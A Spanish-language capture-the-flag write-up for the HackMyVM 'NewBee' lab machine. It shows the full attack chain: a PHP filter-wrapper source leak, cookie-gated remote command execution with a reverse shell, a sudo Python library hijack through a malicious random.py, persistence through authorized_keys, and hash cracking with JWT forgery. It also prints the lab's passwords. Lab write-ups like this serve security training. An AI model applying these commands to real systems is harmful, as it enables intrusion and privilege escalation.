cd ~/blog

~/writeups/hmv/127-newbee.md

127 - NewBee

easy Linux hmv 24-06-2025
PHP filter wrapper source disclosureCookie-gated RCE (secret.php)sudo Python library hijackZIP/PBKDF2 cracking + JWT forgery
hackmyvm.eu/machines/machine.php?vm=NewBee

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.7
...
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: PHPJabbers.com | Free Food Store Website Template
...

Enumerando con gobuster encontramos secret.php (una consola que pide ser admin). Fuzzeando parámetros GET de index.php con ffuf descubrimos hack:

 ffuf -u 'http://192.168.1.7/index.php?FUZZ=../../../../../../etc/passwd' -w directory-list-2.3-medium.txt -fs 18852
hack                    [Status: 200, Size: 18864, ...]

No hay LFI directo, pero con un php filter wrapper sobre ese parámetro leemos el código de secret.php:

 curl 'http://192.168.1.7/index.php?hack=php://filter/convert.base64-encode/resource=secret.php'
...
PCFET0NUWVBFIGh...aHRtbD4NCg==<!-- include failed try another file -->

El código revela que secret.php ejecuta comandos si se envía una cookie concreta:

if (isset($_COOKIE['AreYouAdmin']) && $_COOKIE['AreYouAdmin'] === 'Yes') {

Añadimos la cookie AreYouAdmin=Yes y obtenemos RCE → reverse shell como www-data:

 ncat -nlvp 1234
Ncat: Connection from 192.168.1.7:51638.
www-data@Newbee:/var/www/html/shop$

Revisamos sudo -l:

www-data@Newbee:/var/www/html/shop$ sudo -l
...
User www-data may run the following commands on Newbee:
    (debian) NOPASSWD: /usr/bin/python3 /var/www/html/vuln.py

Hacemos library hijacking de Python creando un random.py malicioso en el mismo directorio que el script:

www-data@Newbee:/var/www/html$ cat random.py
import os
os.system("/bin/bash")

www-data@Newbee:/var/www/html$ sudo -u debian /usr/bin/python3 /var/www/html/vuln.py
debian@Newbee:/var/www/html$

Obtenemos shell como debian y la primera flag, y plantamos un authorized_keys para persistencia. En ~/.secret hay un password.zip y un hint.txt:

debian@Newbee:~/.secret$ cat hint.txt
password is md5(key)
and key is in mysql!!!!!!

Camino 1 — depixelization

Convertimos rockyou a MD5 (la contraseña del zip es md5(key)) y crackeamos el zip; dentro hay una imagen pixelada que recuperamos con Depixelization_poc, revelando el texto hello from the other side:

 john -w=/home/wh01s17/Documentos/wordlists/rockyou_md5.txt zip_hash
...
1c63129ae9db9c60c3e8aa94d3e00495 (password.zip/password.png)
...

debian@Newbee:~$ su root
Password: hellofromtheotherside
root@Newbee:/home/debian#

Camino 2 — JWT + MySQL (obtener el key)

Alternativamente, hay un servicio local en el puerto 5000 (message board). Hacemos port forwarding y, tras login, obtenemos un JWT cuyo secret (noob) crackeamos con hashcat:

 ssh -L 5000:127.0.0.1:5000 -i id_rsa debian@192.168.1.7
 hashcat -m 16500 'eyJ...VVmk' /home/wh01s17/Documentos/wordlists/rockyou.txt
...
:noob
...

Forjamos un JWT de admin (CyberChef) y leemos un mensaje con las credenciales de MySQL:

admin
Mysql account: root:TheStrongestPasswordHYHcreated

En la BD está el hash PBKDF2 de debian, que crackeamos para obtener el key (1qaz2wsx), cuyo MD5 es la contraseña del zip:

 hashcat -m 10900 -a 0 hash_db /home/wh01s17/Documentos/wordlists/rockyou.txt
...
:1qaz2wsx
...
 echo -n "1qaz2wsx" | md5sum
1c63129ae9db9c60c3e8aa94d3e00495

Obtenemos nuestra flag de root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados